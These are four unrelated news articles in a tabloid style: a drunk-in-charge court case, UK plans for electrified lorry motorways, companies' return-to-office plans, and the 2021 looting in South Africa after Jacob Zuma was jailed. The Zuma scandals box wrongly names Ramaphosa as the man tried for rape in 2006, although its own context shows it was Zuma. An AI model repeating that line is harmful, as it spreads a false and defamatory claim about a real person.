She admitted she had earlier drunk two glasses of sparkling white wine at a swanky restaurant 13 miles away but claimed she was fit to drive home.

Malik said she had only parked up nearby as it was Ramadan and she did not want to bump into her father when she got home as she feared he would be 'ashamed'.

She also claimed it was her intention to have a power nap in the vehicle and then walk to the house after he left for his prayer meeting.

At Stockport Magistrates Court Malik, now of Lymm, faced disqualification after being charged with drink driving - but she was instead given ten points on her licence after her guilty plea to being drunk in charge of a car was accepted.

Unlike driving with excess alcohol, the offence of drunk in charge does not carry a mandatory ban.

The qualified psychotherapist, who is also a campaign coordinator for charity NESTAC which helps victims of FGM and supports the BAME community, had been taking a video call from other relatives in Australia on her mobile phone at the time

Malik, who has Master's degree in Cognitive Behavioural Therapy, had been with friends in the Church Green gastro pub run by Michelin Star chef Aiden Byrne.

Prosecutor Mr Robin Lynch said: 'She was in the company of two others who were described as drinking far more alcohol than the defendant had.

'But in the opinion of a bar worker there, the defendant had also drunk too much alcohol and he told her she should get a taxi.

'She said that she hadn't drunk too much and was capable of driving but he reported her to the police. They left the pub at 11.40pm and at 12.25am the police located the vehicle with the defendant sat in the driver's seat.'

The court heard the Mercedes was stationary with its lights on as an officer went to the passenger door and spoke to Malik who was slurring her words and smelling of alcohol.

Tests showed she had 44 micrograms per 100 millilitres of breath - with the legal limit being just 35mg.

Tests showed Malik had 44 micrograms per 100 millilitres of breath - with the legal limit being just 35mg

The court heard the Mercedes was stationary with its lights on as an officer went to the passenger door and spoke to Malik who was slurring her words and smelling of alcohol

In mitigation defence counsel Miss Lesley Herman said: 'The defendant had been out with some friends and she was the designated driver.

'She knew she was driving them home. She just had a glass of prosecco, two glasses during the meal and she believed she wasn't over the limit.

'It was Ramadan and her father is a community leader and very religious and doesn't approve of her drinking. Even though she had a small amount of alcohol, she decided to wait in the car until her father went to the Mosque at 4am.

'She arrived very, very close to her house with a view to staying there and having a sleep until her father left, so that she doesn't make him feel ashamed of her. She has done that before.

'She then took a video call from her family in Australia and because of the time difference, it's a good time to speak to them. She put the keys in the ignition to lower the electric window but whilst on the phone she became upset about a matter and had a drink in the car.

'She was crying and that is why her eyes were watery. Her intention was not to drive anywhere after that other drink at all. The officer said she was sat in the car and her eyes were watery and glazed but that is because she had been crying.

'She has never been in trouble before and would not have driven that car while over the limit. Her reading was very low and within half an hour, it would have been under the limit. She was not going to drive anywhere for at least four hours and she would have walked home in any event so as not to disturb any of the family.

'She has behaved responsibly but she really didn't know that sitting in the car and having a drink was an offence. It was a minor offence and she wasn't going to do anything wrong.'

Malik was also fined 153 and ordered to pay 119 in costs. JPs told her: 'Please be careful next time.'
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Cabinet ministers have announced radical plans to fit UK motorways with overhead electric wires that power e-Trucks and charge them on the move as part of ambitious plans to cut carbon emissions by banning the sale of diesel-powered HGVs in the country by 2040.

The creation of new so-called e-highways are among Prime Minister Boris Johnson's sweeping proposals to 'decarbonise' transport and homes as the Government seeks to show off its green credentials ahead of the UN COP26 climate change conference in Glasgow in November.

An announcement is due today that every new road vehicle sold must be a zero-emission model, with new motorobikes and smaller truckers weighing up to 26 tonnes required to be powered by zero-emission technology by 2035. The largest HGVs will have to make the conversion five years later.

The scheme is similar to an ongoing trial in Germany, where overhead cables have been erected over a six-mile stretch of motorway. A connector on the top of the vehicle attaches to the powerlines which supply it with electricity used to drive the engine and slowly charge the battery.

The Department for Transport is set to invest 20million in trial schemes to accelerate the transition. However, it has not yet released its paper, meaning it is unclear if its trial is for full electric or hybrid HGVs, where it would take place, over how many miles, and if it would be just over the slow lane.

But haulage chiefs have ridiculed the idea due to compatible vehicles not being in existence, describing the Government's plan as 'blue skies aspiration ahead of real-life reality'. They also said a 2040 target was setting 'the bar too high' as technology 'doesn't exist today' that would allow the largest long-distance lorries to run on batteries.

The system which would see electric-powered cables charge the nation's lorries on motorways

The overhead cables supply the electricity through a pantograph collector that sits on the roof of the HGV (stock image)

What is an Electric Road System? The most mature and cost-effective technology for an electric road system is the overhead catenary system. The overhead cables are a mature and safe technology that consist of a supporting structure built outside the road boundary that holds two catenary cable systems. These wires supply the positive and negative electrical circuit that is picked up through a pantograph collector on the roof of the HGV. The HGV is free to leave the wires to overtake or complete its journey away from the catenary using a separate on-board battery (approximately the size of an electric car battery), providing zero tailpipe emissions at all times. The overhead cables, which are often used on trains, supply the positive and negative electrical circuit that is picked up through a pantograph collector sitting on the roof of the HGV. The electricity transmitted along the active pantograph would power the lorry's electric motor and recharge an onboard electric battery, enabling the vehicles to travel to destinations outside of their electric zones. The pantograph can be easily connected to and disconnected from the contact wire either automatically or manually at the push of a button. The HGV vehicle can then move away from the wires to overtake or complete its journey. Source: The Centre For Sustainable Road Freight Advertisement

In a statement, Transport Secretary Grant Shapps said: 'Transport is not just how you get around. It is something that fundamentally shapes our towns, cities and countryside, our living standards and our health. It can shape all those things for good or for bad.

'Decarbonisation is not just some technocratic process. It's about how we make sure that transport shapes quality of life and the economy in ways that are good.

'It's not about stopping people doing things: it's about doing the same things differently. We will still fly on holiday, but in more efficient aircraft, using sustainable fuel. We will still drive, but increasingly in zero emission cars.

'The Transport decarbonisation plan is just the start - we will need continued efforts and collaboration to deliver its ambitious commitments, which will ultimately create sustainable economic growth through healthier communities as we build back greener.'

But a spokesman for trade body the Road Haulage Association said it 'supports the goal' of reducing pollution from lorries, but claimed 'the means of getting there are unrealistic'.

He went on: 'These alternative HGVs don't yet exist. We don't know when they will and it's not clear what any transition will look like. So this is a blue skies aspiration ahead of real-life reality. For many haulage companies there are fears around cost of new vehicles and a collapse in resale value of existing lorries.'

The Climate Change Committee, which advises the Government, said last year that sales of diesel-powered heavy goods vehicles should be phased out 'no later' than 2040.

It appears the policy is based on a Government-funded report by the Centre for Sustainable Road Freight last year, which said that the 19billion scheme would see National Grid powered catenary cables charge 65 per cent of the nation's lorries using an extendable rig known as a pantograph - similar to those used on an electric train.

The proposal, which has the potential to pay for itself within 15 years, is believed to be 'technically viable, economically attractive and could be achieved by the late 2030s', according to the document.

The ambitious move comes after engineering firm Siemens and the truck manufacture's Scania successfully carried out demonstration trials of e-highway electric road systems in Germany, Sweden and the US.

While there are several forms of Electric Road Systems, the most cost-effective technology is the overhead catenary system. According to the report, the cables would link to lorries driving on the inside lanes on 7,000km of the UK's roads and quickly and cost-effectively decarbonise HGVs.

The overhead cables, which are often used on trains, supply the positive and negative electrical circuit that is picked up through a pantograph collector sitting on the roof of the HGV.

The electricity transmitted along the active pantograph would power the lorry's electric motor and recharge an onboard electric battery, enabling the vehicles to travel to destinations outside of their electric zones.

The pantograph can be easily connected to and disconnected from the contact wire either automatically or manually at the push of a button. The HGV vehicle can then move away from the wires to overtake or complete its journey.

Academics at the government-funded institution, who believe the system is sufficient to entirely replace the current fuel tax levied on HGVs, have said that the proposed 40 lane-km pilot will need to be completed by 2025 in order for the main three-phase rollout of the infrastructure to begin.

Each phase of the construction would take between 2-3 years and will commence with roads that are most heavily used by HGVs, with the first phase of building work expected to reach 5.6billion, the second estimated to cost 5.1billion and the final stage expected to fetch around 7.1billion.

The distinct phases will pave the way for staged investment and allow risks to be managed and future phases to benefit from the lessons learnt in previous phases, the report states.

The lower energy costs would also allow money to be repaid to investors within the first 18 months, with the overall infrastructure seeing investors paid off within 15 years.

An earlier report proposes three distinct phases starting in 2025 and expected to run until the late 2030s, with each phase taking between 2-3 years. The project will generate substantial revenue for HM Treasury as a result of the inherent energy efficiency and low economic costs of operating electric lorries, with findings showing that the investment could be paid back within 15 years. Pictured: Motorways in blue and A-roads in green

An HGV lorry on the M4 motorway near Datchet, Berkshire, which could soon be electric

The electric network could in due course be combined with other road infrastructure projects, such as the intelligent transport systems and the 5G network, and lead to cars and vans being able to access charging points located at motorway services.

Speaking to the Times newspaper, Mr Shapps called the commitment 'one of the most profound changes to transport policy'.

Though electric and hydrogen cars, vans and buses are already in use, the Transport Secretary said that eliminating emissions from HGVs was more challenging because of their weight and mileage needs.

But Elizabeth de Jong, director of policy at industry body Logistics UK, said the announcement would 'provide logistics businesses with confidence and clarity on the steps they must take on the pathway to net zero'.

She said: 'Rail, shipping and aviation are all essential parts of logistics, so plans to support freight modal shift and develop technologies to reduce emissions across these modes are welcome.

'With logistics already embracing the need to decarbonise its operations, Logistics UK looks forward to working in partnership with the Government on future action and strategies to realise the net zero ambition together.'

Emma Gilthorpe, COO of Heathrow and Jet Zero Council CEO, said: I welcome the leadership from Government in committing to a target of net zero emissions from aviation by 2050 and recognising that the aviation industry is committed to delivering on this, too.

'We look forward to working with Government to translate this ambition to action and deliver a future where people can continue to enjoy the benefits of air travel - without worrying about their impact on the environment.'

Graeme Cooper, Head of Future Markets at National Grid, said: This is the first zero emissions transport mandate for a major economy and is a great opportunity ahead of COP26 to show the UK's commitment to clean transport and clean air.

'The Government has already committed significant investment for EV charging infrastructure and today's announcement will be a further boost, giving the industry and consumers clarity and confidence for the road ahead, not just for cars but other forms of transport too, including heavy goods vehicles.'
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Business leaders criticised the Government today for 'mixed messages' over returning to the office ahead of the long-standing official 'work from home' order being scrapped on Freedom Day in just five days' time.

Major companies such as Vodafone, Santander and Amazon told MailOnline there will be no big return to UK offices until at least September, while NatWest said only a 'small number' would be coming back in from Monday.

And bosses were left frustrated after the Department for Business delayed the release of new documents about offices reopening, which had been expected yesterday, amid fears that the guidance has so far been unclear.

Companies are even worried that they could face legal challenges if there is a Covid-19 outbreak at work  with the Government shifting responsibility onto businesses by making the wearing of face masks voluntary.

Prime Minister Boris Johnson has urged people not to rush back to the office, saying he did not expect the whole country to return on Monday. Guidance issued so far states: 'Whilst government is no longer instructing people to work from home if they can, government would expect and recommend a gradual return over the summer.'

But Roger Barker, policy director at the Institute of Directors, said there was 'genuine concern about what the implications will be in terms of liability and legal responsibility for employees and customers'.

VODAFONE: Vodafone told MailOnline that the company intends to welcome its UK office-based teams back from September

AMAZON: The US firm, whose London offices are pictured, is not implementing changes to working guidance next week

LONDON STOCK EXCHANGE: The LSE said it is not implementing any changes to its Covid-19 guidance from next Monday

SANTANDER: The bank's current working from home arrangements for non-branch roles will not change before September 6

NATIONWIDE: The building society told MailOnline that just 6 per cent of its staff want to work in an office full time

He told MailOnline: 'Businesses across the country will welcome the opportunity to begin to return to relative normality from next week.

'However, there has been real frustration about the mixed messages that they have been receiving from the Government, and we are calling for a focus on rebuilding trust and confidence through clear and unambiguous guidance.

What have businesses in Britain said about returning to the office? Amazon - Amazon is not implementing any changes to its working guidance from next Monday, although it does have return to office guidance for corporate employees which is set to come in from September. This states that its new baseline will be three days a week in the office, leaving flexibility to work remotely up to two days a week. Separately, corporate employees will have the choice to work up to four weeks per year fully remote from a domestic location, without the expectation that they will commute into an office during that time. Vodafone - A Vodafone spokesman told MailOnline that the company intends to welcome its UK office-based teams back from September. She added: We will be taking a flexible approach, with a combination of home-working and time together in offices. We aim to work in a way which offers the best of both virtual and office-based working. The extent of virtual working will vary by role, and our offices will evolve to become places where we can come together when needed for connection, collaboration and creation. Our priority, of course, is to keep everyone safe, and we'll adapt our plans if we need to as circumstances change.' NatWest - The bank told MailOnline it will 'be inviting a small number of colleagues in England to return to the office' from next Monday, and will 'encourage colleagues in England to continue wearing masks in our buildings and branches'. It will also 'maintain social distancing measures in our buildings and branches for colleagues at this time'. A NatWest Group spokesman said: 'Our current plan is to start to implement a phased return to the workplace, with our priority workers returning from 19 July, and to adapt to our new ways of working over the summer, with the majority of UK staff expected to be back in the office in September. This is dependent on government and public health advice, across the different jurisdictions in which we operate which we will continue to monitor closely.' The bank's 'priority workers' are defined as 'those who are key workers, in regulated roles, where there is a client need, and people who need to work in the office for wellbeing reasons'. It added: 'Under our new ways of working framework, we expect around 87 per cent of our colleagues to adopt a hybrid working pattern.' London Stock Exchange - The LSE said it is not implementing any changes to its Covid-19 guidance from next Monday, although it does expect more people to return to its UK offices from September. Santander - The bank has decided that its current working from home arrangements for non-branch roles will not change before September 6, but added: 'There will be more opportunities for colleagues to work from an office as restrictions are eased across the UK.' It is planning for a phased return in two months' time and will be maintaining safety measures such as hand sanitiser and temperature scanning. Goldman Sachs - The company has not sent any new communication to staff since a memo at the start of May, in which the company said 60 per cent of its London staff had been into the office at least once in the previous month. Its offices at Plumtree Court have been open throughout the pandemic and since the lockdown has been lifted, it has seen a gradual uptick in numbers of staff returning. Now, the company is at roughly 40 to 45 per cent staff back in its London office, which works out at about 2,300 employees. It has also asked staff for their vaccination status. British American Tobacco - A BAT spokesman told MailOnline: 'Our number one priority continues to be to safeguard the health and wellbeing of our employees and we are following UK Government workplace guidelines. Once the Health and Safety Executive has released its updated COVID secure workplace guidance, we will take some time to understand what is needed to ensure a safe return to site.' Aviva - The insurance company told MailOnline that they 'look forward to welcoming our colleagues back into our offices', adding: 'We expect to see more of our people returning and will encourage them to remain aware of what they can do to reduce the risk of the virus spreading. Our focus continues to be on the safety and wellbeing of our people, customers and communities.' The company also said that the 'vast majority of people at Aviva want to work flexibly in future'. It continued: 'Our people need to work in ways that deliver the best outcomes for our business and our customers. That will involve some time in an office for most people, for example for team meetings and when work benefits from face-to-face collaboration. This will vary by role and we're supporting leaders to help their teams navigate this transition to smart working. We're reshaping our office space to reflect this, with more areas for breakouts and collaboration and less space dedicated to rows of desks.' Nationwide - The building society said that throughout the pandemic, it has kept its offices open for those that needed to come in. A spokesman told MailOnline: 'N ow that the message from the government has changed, we will slowly open more space and continue to monitor the guidelines. Back in March we announced our Work Anywhere approach that gives colleagues the flexibility to work in a way that's best for them. We know that just 6 per cent of colleagues want to work in an office full time and we'll continue to embrace this new way of working to ensure it works for both Nationwide and our colleagues.' The company added that it will 'monitor and review colleague feedback, office capacity and the guidance ensuring that people are given enough space and are able to respect peoples choices and ensure colleagues feel comfortable'. The spokesman also said: 'Colleagues in our offices can wear face coverings if they choose to.' IAG - A spokesman told MailOnline: 'We're planning for a phased return to the office in the coming months'. Advertisement

'The latest guidance has shifted the responsibility from the Government to businesses by removing mandatory rules on things like face masks and replacing them with voluntary recommendations.

'Whilst it is right that companies should be allowed to take decisions based on their own unique circumstances, it is vital that government provides businesses with best practice in developing their own policies.

'There is genuine concern about what the implications will be in terms of liability and legal responsibility for employees and customers. Consumer-facing businesses, in particular, are worrying about how they enforce the rules that they put in place to ensure they protect their staff and customers.'

He also pointed out that further clarity was needed over the wearing of face masks on public transport, saying it would be 'entirely sensible' to keep this mandatory, as Mayor Sadiq Khan has now done on Transport for London services from next Monday.

This is in contrast to rail operators outside of the capital in England who will make wearing face masks voluntary.

MailOnline has spoken to a series of firms planning for a return to the office, with a Vodafone spokesman saying that the company intends to welcome its UK office-based teams back from September.

She added: We will be taking a flexible approach, with a combination of home-working and time together in offices. We aim to work in a way which offers the best of both virtual and office-based working.

'The extent of virtual working will vary by role, and our offices will evolve to become places where we can come together when needed for connection, collaboration and creation. Our priority, of course, is to keep everyone safe, and we'll adapt our plans if we need to as circumstances change.'

Meanwhile Amazon said it is not implementing any changes to its working guidance from next Monday, although it does have return to office guidance for corporate employees which is set to come in from September.

This states that its new baseline will be three days a week in the office, leaving flexibility to work remotely up to two days a week. Separately, corporate employees will have the choice to work up to four weeks per year fully remote from a domestic location, without the expectation that they will commute into an office during that time.

Santander has decided that its current working from home arrangements for non-branch roles will not change before September 6, but added: 'There will be more opportunities for colleagues to work from an office as restrictions are eased across the UK.'

It is planning for a phased return in two months' time and will be maintaining safety measures such as hand sanitiser and temperature scanning.

The London Stock Exchange said it is not implementing any changes to its Covid-19 guidance from next Monday, although it does expect more people to return to its UK offices from September.

And a spokesman for International Airlines Group (IAG), the parent company of British Airways, told MailOnline: 'We're planning for a phased return to the office in the coming months'.

The building society Nationwide said that throughout the pandemic, it has kept its offices open for those that needed to come in.

A spokesman told MailOnline: 'Now that the message from the government has changed, we will slowly open more space and continue to monitor the guidelines. Back in March we announced our Work Anywhere approach that gives colleagues the flexibility to work in a way that's best for them.

'We know that just 6 per cent of colleagues want to work in an office full time and we'll continue to embrace this new way of working to ensure it works for both Nationwide and our colleagues.'

The company added that it will 'monitor and review colleague feedback, office capacity and the guidance ensuring that people are given enough space and are able to respect peoples choices and ensure colleagues feel comfortable'. The spokesman also said: 'Colleagues in our offices can wear face coverings if they choose to.'

Goldman Sachs has not sent any new communication to staff since a memo at the start of May, in which the company said 60 per cent of its London staff had been into the office at least once in the previous month.

Its offices at Plumtree Court have been open throughout the pandemic and since the lockdown has been lifted, it has seen a gradual uptick in numbers of staff returning.

Now, the company is at roughly 40 to 45 per cent staff back in its London office, which works out at about 2,300 employees. It has also asked staff for their vaccination status.

Meanwhile NatWest told MailOnline it will 'be inviting a small number of colleagues in England to return to the office' from next Monday, and will 'encourage colleagues in England to continue wearing masks in our buildings and branches'.

It will also 'maintain social distancing measures in our buildings and branches for colleagues at this time'.

A NatWest Group spokesman said: ' Our current plan is to start to implement a phased return to the workplace, with our priority workers returning from 19 July, and to adapt to our new ways of working over the summer, with the majority of UK staff expected to be back in the office in September.

'This is dependent on government and public health advice, across the different jurisdictions in which we operate which we will continue to monitor closely.'

The bank's 'priority workers' are defined as 'those who are key workers, in regulated roles, where there is a client need, and people who need to work in the office for wellbeing reasons'. It added: 'Under our new ways of working framework, we expect around 87 per cent of our colleagues to adopt a hybrid working pattern.'

NATWEST: The bank will 'be inviting a small number of colleagues in England to return to the office' from next Monday

BRITISH AMERICAN TOBACCO: The company is waiting for the Health and Safety Executive to release new office guidance

INTERNATIONAL AIRLINES GROUP: BA's parent company is 'planning for a phased return to the office in the coming months'

Prime Minister Boris Johnson (pictured at Downing Street on Monday) has urged people not to rush back to the office

Insurance company Aviva told MailOnline that they ' look forward to welcoming our colleagues back into our offices', adding: 'We expect to see more of our people returning and will encourage them to remain aware of what they can do to reduce the risk of the virus spreading. Our focus continues to be on the safety and wellbeing of our people, customers and communities.'

The company also said that the 'vast majority of people at Aviva want to work flexibly in future'. It continued: 'Our people need to work in ways that deliver the best outcomes for our business and our customers.

'That will involve some time in an office for most people, for example for team meetings and when work benefits from face-to-face collaboration.

'This will vary by role and we're supporting leaders to help their teams navigate this transition to smart working. We're reshaping our office space to reflect this, with more areas for breakouts and collaboration and less space dedicated to rows of desks.'

British American Tobacco is waiting on further official guidance, with a spokesman telling MailOnline: 'Our number one priority continues to be to safeguard the health and wellbeing of our employees and we are following UK Government workplace guidelines.

'Once the Health and Safety Executive has released its updated COVID secure workplace guidance, we will take some time to understand what is needed to ensure a safe return to site.'

Federation of Small Businesses national chairman Mike Cherry said: 'It's vital that the Government sets out crystal clear expectations for employers and employees with regards to risk assessments and returning to premises, and communicates them effectively, so everyone knows where they stand.

'Most of our members tell us they plan to keep a physical commercial space after restrictions lift  many value the creativity and team-building that arises from in-person collaboration.

'Small firms tend to be more adaptable than big corporates  the vast majority were, for example, already offering flexible working in some way, shape or form even before lockdowns hit  so no doubt they will be working closely with their teams to ensure their return-to-workplace plan benefits both staff and the business.

'The Government has a responsibility to prevent confusion and set out a clear, consistent, view.'

Matthew Fell, chief UK policy director for the Confederation of British Industry, said: 'With the economy in England fully reopen soon, we're now entering a brand-new phase to the pandemic: living with the virus.

'The Government has rightly set out the terms of how we do this in a way that is practical, pragmatic and easy to follow. Instilling a sense of confidence in the plan for businesses and the public will be critical to success.

'It makes sense that the order to work from home if possible is removed at this stage. The reality is that many firms are well-advanced in their plans and are proceeding with hybrid working models, just as the Government advises. It's up to employers to engage positively with their staff to shape the unique new way of working every business needs to consider.'

Sources at the Department for Business told MailOnline this morning that the updated 'safer workplace guidance' would be published 'shortly'.
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Jacob Zuma's son has urged looters to 'do so responsibly' and called for his father to be freed after South Africa's lawlessness entered its sixth consecutive day amid fears of a 'humanitarian crisis' with food, fuel and Covid medicine shortages.

The former president was locked up last Friday for failing to appear in court on corruption charges, prompting riots and looting across the country, with police forces totally absent or in some cases, officers participating.

Duduzane Zuma took to Instagram to call for his father to be freed and the Covid lockdown to end, claiming that with troops now deployed the country was 'just one massacre away from a complete spiralling out of control.'

'For the people that are protesting and looting, please do so carefully and please do so responsibly. Because you cannot hold people responsible for defending what they love,' Zuma said.

The 37-year-old, who has his own ambitions to run the country, said that 'finger pointing' was not going to help because the government must 'feed the poor people that are looting' as he blamed lockdown-fuelled economic inequity for the chaos.

But the raging unrest has lost any sense of its loose political origins, descending into wanton lawlessness, including gang shoot-outs in the streets, people queuing up with cars to loot warehouses and malls, and wealthy Indian and white South Africans forced to take up arms to protect their homes.

A 13-year-old boy was shot dead at a mall outside Johannesburg on Wednesday during skirmishes between vigilante taxi drivers and looters.

And two police officers were caught on camera with their cars packed full of allegedly looted household supplies and even a flat-screen television.

Now President Cyril Ramaphosa has promised to call up more soldiers after deploying 2,500 troops to bolster overrun police forces in in Johannesburg and Durban. But rioting has also spread to Mpumalanga, Northern Cape and Soweto.

Duduzane Zuma took to Instagram to call for his father to be freed and the Covid lockdown to end, claiming that with troops now deployed the country was 'just one massacre away from a complete spiralling out of control'

Footage showed people accosting a man wearing a police jacket beside a hatchback filled with household supplies, including bread, milk and cooking oil

The man's car is seen filled with household supplies including bottles of cooking oil and packs of toilet paper

A second video from the same woman showed another purported officer in plain clothes trying to hide his face from the camera after he was hauled out of his car by locals. His vehicle was laden with allegedly looted products, including a flat-screen television.

Residents surround the body of a 13-year-old boy who was shot during a skirmish between looters and taxi drivers who have been defending a mall in Vosloorus, east of Johannesburg.

Looters clamber onto a lorry after breaking open the back doors to steal its goods. Rubbish and boxes are strewn across the road in Durban on Wednesday

Queues of cars are parked ready to be loaded with stolen goods as hordes of looters flow in and out of a warehouse in Durban

A traffic jam surrounds warehouses in Durban targeted by looters on Wednesday

Burning lorries at a goods distribution hub on the outskirts of Durban - one of the country's major ports of entry for fuel, household goods and medicines

Police officers detain people after violence erupted following the jailing of former South African President Jacob Zuma, in Cato Ridge, on Wednesday

Looters gather outside a burning warehouse in Durban on Wednesday

A policeman fires a warning shot into the air amid looting outside the Chris Hanni Mall in Vosloorus on Wednesday

People queue to buy bread from trucks who provide food as shops and mall are looted and closed for business in Soweto on Wednesday

Residents queue at a supermarket amid fears of food shortages in Hillcrest, in KwaZulu-Natal province

Residents queue at a supermarket which has been closed after violence erupted in KwaZulu-Natal province

A member of the South African Police Service (SAPS) detains an alleged looter outside the Chris Hanni Mall in Vosloorus, on Wednesday

Looters outside a torched warehouse in the Hillcrest area of Kwa-Zulu Natal province which has been badly hit by the riots

President Cyril Ramaphosa deployed 2,500 soldiers to help overrun police forces in Johannesburg and southeastern province of KwaZulu-Natal. Rioting has also spread to Soweto, Mpumalanga and Northern Cape

On Wednesday, Misuzulu Zulu (left), the king of South Africa's Zulu community - the country's largest ethnic group - appealed for an end to the unrest [File photo]

Industry bosses, including fuel retailers and farmers, are warning of a 'humanitarian crisis' as the chaos means that, as well as the goods being stolen, major port cities like Durban are under siege and the country's infrastructure is blockaded.

Rape charge, 'Guptagate' and an arms deal: The scandals that led to the downfall of Jacob Zuma Jacob Zuma has been a dominant force in South African politics for decades. A leader in the resistance to white minority rule, Zuma has been a key figure in the ruling ANC party since the end of apartheid. The 79-year-old served as the country's deputy president, before eventually becoming president in 2007. He held the post for 10 years before his deputy Cyril Ramaphosa took over. His long political career has been beset by scandals, including a rape charge and multiple allegations of corruption, with his ability to weather political storms seeing him nicknamed the 'Teflon president'. In July 2021, he was jailed for failing to cooperate with a corruption probe in a move which prompted mass unrest sparked by his supporters. The corruption investigation centres on Zuma's relationship with the Guptas, three billionaire Indian-born businessmen - in a scandal that has been dubbed 'Guptagate'. Zuma is accused of allowing the brothers - Atul, Ajay and Rajesh - to plunder state resources and peddle influence over government policy during his time as president. On July 9, Zuma handed himself over to police to begin a 15-month jail sentence for contempt of court after defying a court ruling to give evidence before the inquiry. Zuma has decried the investigation as a 'witch hunt' led by Ramaphosa. The former president is also facing a separate trial over a 3billion arms deal signed in 1999 when he was deputy president. Zuma allegedly accepted bribes from international arms manufacturers to influence the choice of weaponry. But these scandals are only the most recent in a long list. Prior to Guptagate, Zuma was engulfed in a furore over so-called security upgrades to his rural Nkandla residence in KwaZulu-Natal province. The tax-payer-funded work, cost $24million (17.31million) and included a swimming pool - which was described as a fire-fighting facility - an amphitheatre and a visitors' centre. South Africa's graft watchdog in 2014 found that Zuma 'benefitted unduly' from the work. In 2006, the year before he became president, Ramaphosa was put on trial for rape. He claimed he had had consensual sex with a 31-year-old family friend and was acquitted. Beyond the alleged rape, South Africans were dismayed that Zuma, who headed the country's National AIDS Council at the time, admitted to having unprotected sex with his accuser, who was HIV-positive. He caused further anger by telling the court he had showered afterwards to avoid contracting HIV - This method does not prevent the spread of HIV and was a commonly repeated myth in South Africa at the time. More than a decade later, he is still mocked in newspaper cartoons, often being depicted with a shower nozzle sprouting from his head. Despite the slew of scandals, Zuma continues to enjoy support both among poor South Africans and the ANC . Advertisement

Law-abiding citizens were pictured this morning lining up outside a supermarket in Hillcrest in KwaZulu-Natal, trying to stock up amid fears of food shortages caused by the pillaging.

The National Hospital Network, representing 241 public hospitals, has warned it is running out of oxygen and drugs for coronavirus patients - most of which are imported from Durban.

On Wednesday, the king of South Africa's Zulu community, the country's largest ethnic group, appealed for an end to the unrest.

'I call for peace,' Misuzulu Zulu said in a maiden speech on state television.

The violence 'has brought great shame' on the Zulu people,' he said.

'This chaos is destroying the economy, and it is the poor who will suffer the most,' he warned.

The 46-year-old, who succeeded his father Goodwill Zwelithini who died in March, was flanked by the prime minister of the Zulu nation, Mangosuthu Buthelezi.

Speaking alternately in Zulu and English, the king said 'my father's people are committing suicide' as he called for restraint and peace.

'What is even more saddening is that so many of those who are drawn to this lawlessness and criminality are members of the Zulu nation,' the king said.

'It has brought great shame upon us all... as fingers are pointed at my father's people,' he said speaking in English.

Zulus account for more than 11 million of South Africa's 59 million people.

The monarch wields moral influence over them, but does not have executive power.

A 13-year-old boy named locally as Vuso Dlamini was shot dead during a skirmish between taxi drivers and a looting mob attempting to burn down a mall in Vosloorus, east of Johannesburg.

Conflicting reports said the teen was 13 or 14-years-old. Earlier the body of another looter was discovered behind the mall.

A taxi drivers' union has been defending the mall in the absence of police. One of the cab drivers told Times Live: 'We shop and work here. This is our livelihood. No-one messes with that.'

One looter said she was doing it purely because of the economic impacts of the lockdown. Asked by a local TV reporter if she was stealing because of Zuma's imprisonment, she said: 'No, we're looting because we have no food, we have no jobs because of the Covid lockdown.'

Last year, the country's GDP slumped by 7 per cent - the largest decline in more than 40 years. The unemployment rate stands at 32.6 per cent, while youth unemployment has soared to a staggering 75 per cent.

People living in neighbourhoods plagued by the rioting said they were terrified and couldn't sleep at night because of the constant gunfire.

One woman, preparing to make a 20-minute drive across Durban to visit her family, told the BBC she was worried she might not be able to get there because of blockades which have popped up along the main highways.

'I am so scared,' the woman, who asked not to be named, told the broadcaster.

'It literally feels like being in a war zone with gunshots, fires and smoke going up everywhere for the last two days.'

Another resident, who also refused to be named, told the BBC that they are having to just sit back and watch the looting, hoping that the perpetrators don't turn on their homes.

'We are on fire,' the man said. ''We've gone to a place where we are going to watch them stealing, we are not interfering with them - don't harm us.'

The British and Irish Lions rugby team, which is touring the country, has been assured of their safety amid the deteriorating security situation.

The Lions are scheduled to play three matches in Cape Town, starting against South Africa A on Wednesday, before returning to Johannesburg for two Tests that will complete the tour.

Lions coach Warren Gatland told an online news conference last week that he believed the second and third Tests would be switched to Cape Town.

The king of South Africa's Zulu community, the country's largest ethnic group, called for an end to the unrest today.

'I call for peace,' Misuzulu Zulu said on state television. The violence 'has brought great shame on all of us,' he said, adding 'this chaos is destroying the economy, and it is the poor who will suffer the most.'

Looting has hit supply chains and transport links in the Johannesburg region and the southeastern province of KwaZulu-Natal, sending a shockwave to goods and services around the country.

In the port city of Durban, people started queueing outside food stores and at fuel stations as early as 4am - when the Covid night curfew ends.

The night before, the country's largest refinery, Sapref, declared 'force majeure' - an emergency beyond its control - and shuttered its plant in Durban, shutting down a third of South Africa's fuel supply.

The firm said the refinery was 'temporarily shut down... due to the civil unrest and disruption of supply routes in and out of KwaZulu-Natal.'

Some fuel retailers have begun rationing while others are starting to run dry.

A burning warehouse is seen beside roads littered with rubbish from the looting in Durban on Wednesday

A road beside a looted warehouse in Durban on Wednesday is strewn with rubbish as lorries lie in the road after being ransacked

Footage from social media shows looters siphoning petrol out of the underground tanks beneath a ransacked BP garage outside Durban

A police officer holds a pistol as the country deploys army to quell unrest in Vosloorus, east of Johannesburg

A burning warehouse in Durban on Wednesday not far from a leafy neighbourhood whose residents are terrified of the growing crisis

Suspected looters sprint through fields as they try to escape from police and army officers in Cato Ridge, in the KwaZulu-Natal province, on Wednesday

People loot near a burning warehouse on Wednesday morning in the Hillcrest area of KwaZulu-Natal province

Soldiers and police detain a man as they attempt to retrieve looted goods in Alexandra on Wednesday

An soldier stands guard as protesters gather in a field in Vosloorus, east of Johannesburg, on Wednesday

Police officers detain a driver who has several Samsung fridges loaded onto the back of his truck in Cato Ridge on Wednesday

A police officer throws flour of a suspected looter before arresting him outside the Chris Hanni Mall in Vosloorus on Wednesday

Looters pull few items they took from what was left to grab in a vandalised mall in Vosloorus, on Wednesday

South African National defence Force (SANDF) soldiers stand guard in front of the Maponya mall in Soweto on Wednesday

Locals use brooms while volunteering to clean the Diepkloof Square following looting and vandalism in Soweto on Wednesday morning

People queue up outside a supermarket in Hillcrest amid fears that food supplies are running low

People queue up outside a Shell garage amid fears of fuel shortages

Residents of Soweto buy bread from a truck as shops and malls in Soweto are looted and closed for business on Wednesday

Residents buy loaves of bread from a truck in Soweto on Wednesday morning

